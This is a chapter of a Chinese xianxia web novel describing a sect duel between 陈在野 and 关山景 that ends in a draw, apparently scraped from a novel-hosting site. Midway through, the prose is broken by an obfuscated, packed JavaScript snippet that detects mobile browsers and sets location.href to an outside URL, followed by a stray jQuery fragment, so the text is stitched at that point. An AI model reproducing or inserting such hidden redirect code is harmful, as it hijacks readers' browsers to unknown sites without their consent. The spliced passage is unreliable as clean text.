4. 哦,不死不休
作品:《师姐怎么还不采补我》 陈在野以前见过很多身法迅疾的人,但自从“诛邪”大清剿之后,便几乎没有再见过——身法迅疾是阴武学的典型特征,极易被断定为邪修。
但她今天又见到了。
关山景的剑很快,一击不中又接一击,剑刃随着挥动洒出点点寒光,真是剑如其名,如同下了场纷纷扬扬的大雪,叫人眼花缭乱、应接不暇。
的确很美。
但同时,他的剑势又很猛——因此他从不避讳剑快。
一剑更比一剑重,如排山倒海,每次交锋都震得她手腕发麻。
迅猛。
没有任何词能比这两个字更贴切了。
又是一剑斩来——
陈在野一手正握、一手反握,重心下移、架刀格挡,再次挡住一击。
剑刃到底还是不如刀背厚重,暮雪与初九相接的一刹那,铮得一声!几乎要刺破在场所有人的耳膜。
若是凡铁,硬接这一格,剑刃定要震出个豁口来!
关山景迅速后撤,不打算与她硬碰硬,她也未乘胜追击,只是立在原地严阵以待。
他在心里叹了口气。
陈在野若是攻击欲望强一些,那他便可找出破绽一击制敌。
可她偏偏只防不攻,就叫他有点儿棘手。
——当然,是速胜有点儿棘手。
陈在野手中那柄名为“初九”的长横刀足有三尺长、三寸宽,尖端收拢,刀尖微挑,攻防兼备。
他粗略估计了一下,应有八九斤沉。
这样的重量下,正面交锋绝对不是一个好主意。
刺、挑倒正好配她。
这样想着,关山景脚底发力,如同一支羽箭般直直朝她面门刺去——
陈在野腰身下弯,躲过这一剑的同时,刀锋一转,狠狠绞住暮雪剑,用力朝内一拧,带动自身一个飞旋,翻落在他右后侧,大力挥下!
关山景暗道一声“漂亮”,随手挽了个剑花,换做反握,剑尖顶向刀锋——
下一瞬,磅礴的灵力顺着剑身聚在剑尖,随着剑势爆发!
直直将她震飞了出去!
同一瞬间,第一炷香燃尽。
陈在野“砰”地一声砸在地上,五脏六腑都快要摔了出来,她“哇”地吐出一滩血,头一歪,好像没了意识。
台下众人无不被这一剑慑住,忘了叫好,也忘了呼吸。
半晌,才听见有人艰涩地声音响起:
“老天奶,这一剑绝对不是金丹期的实力吧?”
“元婴、不,前元婴中期,果然恐怖如斯。”
“陈在野这还不认输?”
听到有人提起陈在野的名字,众人仿佛才意识到台上还有一个人。
“筑基期大圆满对金丹期大圆满,差一整个大境界呢,更别提关山景前不久还是元婴中期,陈在野这波输得不冤。”
“靠,陈在野真是认真的啊?我还以为她对自己的实力有点儿认识呢!”
“不过有一说一,陈在野实战的确有点儿东西……”
“你疯了我疯了,这不明摆着关山景放水了吗?这年头连草包都有人吹捧啊。”
“多少招过去了?”
“二十三,二十四,二十五招!”
“哈哈哈!我赢了,快给钱!”
“……”
关山景摸摸耳朵,心道好像还是下手重了。
“承……”
“承”字刚出了个头,就见陈在野颤颤巍巍举起一只手,朝他挥了挥。
“等……等等。”
声音闷的像从地底下传来的一样。
众人眼睁睁瞧着,一只蛆从地上拱了起来。
陈在野抬手用手背抹了抹鼻血。
……非但没有擦掉,反而在脸上抹匀了。
“我没事、呕,就是刚刚太困了,继续吧,呕,哈哈。”
众人囧了。
这家伙看起来哪像是没事的样子?
而且这找的是什么理由,简直烂爆了,困就回去睡!
还有,笑得这么勉强就不要笑了啊!!!
……就算要笑,能不能不要再吐血了?
一边吐血一边笑,真的很诡异!
关山景吞了吞唾沫,显然也被眼前她这副模样震撼到了,说话都有点儿结巴:
“师姐,凡、凡事量力而行,莫要逞强。”
那边演武使也皱起眉,问:“陈在野,你还行不行?”
“我……我可以,”她啐出一口血沫,拄着长刀,“……继续。”
初九重新落入手中,她低头看向刀柄之上微微颤动的手指,突然意识到,她可能挡不住关山景的剑了。
这样下去不行。
硬抗是扛不住的,她已经丧失了对抗关山景唯一的优势。
只有更柔。
或者,比他更快。
然而,她手中这柄刀,注定做不到这两点。
陈在野闭了闭眼,手紧了又松、松了又紧。
决定做出不过二三息,但她却觉着仿佛过去了一百年。
哐当——
“来。”
关山景目光移向被她抛在地上的长刀,又落在她赤手空拳上,心中不无惊诧,眼中闪过一瞬钦佩。
“陈草包真疯了!”
“她到底要干什么?”
“空手接白刃?”
“师姐,接下来可要当心了。”他笑说罢,脚尖一旋,提剑而上,“这一剑叫——”
“雪藏尸!”
话音刚落,暮雪剑直直劈下,却不似起初那般轻盈,而是裹挟着充沛的灵力朝她倒来,如雪山崩塌!
陈在野凝神聚气,并未急着闪躲,重心下沉,以腰脊为轴,将灵力汇于两掌之间,在剑气劈来的一瞬,重心由左脚移向右脚,右手下沉、左手托起上划弧至右肩,侧身一掸——
剑气在空中腾地消散了。
关山景一愣。
台下更是面面相觑,难以置信。
“什么情况?”
他眉头一拧,叹了一声:“……云手。”
他万万没想到,她送了他一计云手。
自“诛邪”清剿时起,太极虽说仍是各派入门级功法,但毕竟太极生阴、阳两仪,总归还是占了个“阴”字,谁也不愿引火烧身,于是大多宗门一般也就让弟子学个笼统,不学精。
因此她这一计云手使出,竟一时无人识得。
“好眼力。”她淡然一笑。
关山景余光一瞥,第二柱香已烧至一半,他知道陈在野在拖延时间。
她只求平局。
他暗道一声抱歉,恐怕不能如她所愿了。
下一刻,暮雪剑剑尖一抖,关山景手中运气,横剑扫来,剑气如虹!
陈在野旋身躲过,气沉丹田,两臂撑起如捧圆盘,凝气一掤!
剑气再次涣散。
然而,还不等她喘息,关山景招法霎时变换,左手托住剑柄,右手向上一挑!
她堪堪避过,顺势朝后捋去,捋劲发挥到了极致——
却不料,剑气并未聚拢,而是瞬时化作无数根长针,密密麻麻如织网,自四面八方朝她拢来——
“这一招叫,疾风骤雨。”
陈在野瞳孔一缩,当即翻滚躲开,却为时已晚。
千万道细小却锐利的剑气避过要害,直直穿过她的四肢!
“呃……”
她闷哼还未出声,关山景手腕一旋反握住剑,剑柄卷着雄浑内力,点在她右肩上。
看似未用力,却是寸劲。
陈在野顿时“扑通”单膝跪倒在地。
鲜血如雨后春笋涌出,没过几息,暮山紫的外衫上血红点点,真应了“疾风骤雨”之名,如淋了一身雨般。
似乎有剑气划过鬓角,勾下了她一缕鬓发,浮在血迹还没干涸的侧脸上,随着她身体摇摇晃晃。
右臂也被他最后一击震得脱臼,可怜兮兮地耷拉下来,已提不起一丝劲。
第二柱香堪堪燃尽。
好狼狈啊……
陈在野扯出一个惨笑。
意识似乎在这一刻化为了一叶扁舟,在波涛汹涌的滚滚江水中沉沉浮浮,不需太久,便要被浪打得找不着北。
脑海中似乎响起了一个声音。
【难道你就非去白藏秘境不可吗?】
那个声音似乎叹了一口气。
【为什么要这么拼命呢?】
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316194|183010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是啊,大庭广众之下,模样这么凄惨,她好歹也是个大宗门的少门主,就不能给自己留几分颜面吗。
察觉到她作此想,它循循善诱。
【你知道的,杜蘅虽恨你,却未必会杀你。】
【而且,你该庆幸你是落在他手中而不是其他人,你当然清楚,只需向他服个软,求一求他,就像当年……】
“不,”
她死死咬住牙关,齿间似又有鲜血渗出。
“我绝不会再求他,绝不。”
“我不会再求任何人了,我想要的,我定要亲手拿到,他人想要我的,我绝不再割舍半分……”
“什么?”
关山景隐约听她喃喃,有些愣怔。
陈在野不顾左手血流如注,单手将脱臼的右臂接回,缓缓爬起身,低声喃喃,“至于其他什么人什么事,都见鬼去吧。”
踉踉跄跄,但她最终还是站稳了。
演武师握着锣槌的手又从锣上拿了下来,嘟囔着点上第三根香。
她也许是一杆竹。
关山景无缘由地升起一个古怪的念头。
“陈师姐,接下来我也不会让你分毫,你想好了。”
“巧了,”她大笑着大放厥词,笑声嘶哑比破风箱还难听,“我也是。”
他道了声“得罪”,再次提剑而上。
这一招与之前任何一招都不同。
这一招,舍了七分的劲。
但快到了极点。
之前的每一次出剑还有停滞,而现在,他每一剑与每一剑之间再无间隙。
与其说他在不断出剑,倒不如说,他已化剑为笔泼墨作书,洋洋洒洒、一气呵成。
——好快,根本看不清。
陈在野将指尖深深嵌入掌心,也依旧看不清他的动作!
剑式如暴风雪而至!
“又忘了?”
脑海中,不合时宜地响起了她那过世多年的爹的声音,“教你读了这么多遍,怎么还是记不住?”
“爹?”
“好了,再跟我念一遍——夫惟大明,玄鉴幽微,”
“夫惟大明……玄鉴幽微……”
“灵铨揣物,思灼沉昧。”
“灵铨……揣物,思灼……沉昧。”
关山景眉头紧锁,这种时刻,她竟然还在发愣!
长剑已至,他不由替她捏了把汗——
陈在野倏地睁开眼,足尖一动,身形一晃,如鬼魅般轻巧避开,落在他身后。
只一须臾。
“发、发生什么了?”
“什么都没看清啊……关山景好快的剑,陈在野好快的脚!”
“我寻思着我也没眨眼啊。”
“……”
他来不及惊讶,折身又朝陈在野袭去。
一剑比一剑快!
陈在野脚下步法诡谲,如击电奔星,看似杂乱无章、行动仓皇,实则内里门道不少。
越是交手,他越是心惊!
每当他认定这一剑必然落在她身上,她却又能堪堪绕过!
就像一汪山泉,剑砍不断,流泻不竭。
二人都将速度提到了极点,台下众人只见一红一白两道身影搅作一团,从这头闪到那头,令人目不暇接。
时间在一点一点流逝。
“陈在野不会能赢吧?”
“怎么可能……关山景让她一只手都能赢。”
“关山景肯定放水了!”
就在众人议论纷纷之时,陈在野突然停下了。
“第三炷香,灭了。”
经她这么一提醒,演武使低头一瞧,还真是,于是立即抡起木槌重重敲向铜锣,也敲在在场所有人心上——
“陈在野对关山景,平!”
“关山景,一千二百八十五胜、一平、零负。”
“陈在野,零胜、一平、零负。”
四下哗然。
就在太阳落山的前一瞬息,昆仑派试炼排位榜上,陈在野的分数暴涨,一路涨至两万八千零十分。
直逼第二名,位列第三。
而在陈在野重重倒下的前一刻,她隐约看到了台下师傅如暴风雨将至般阴沉的脸。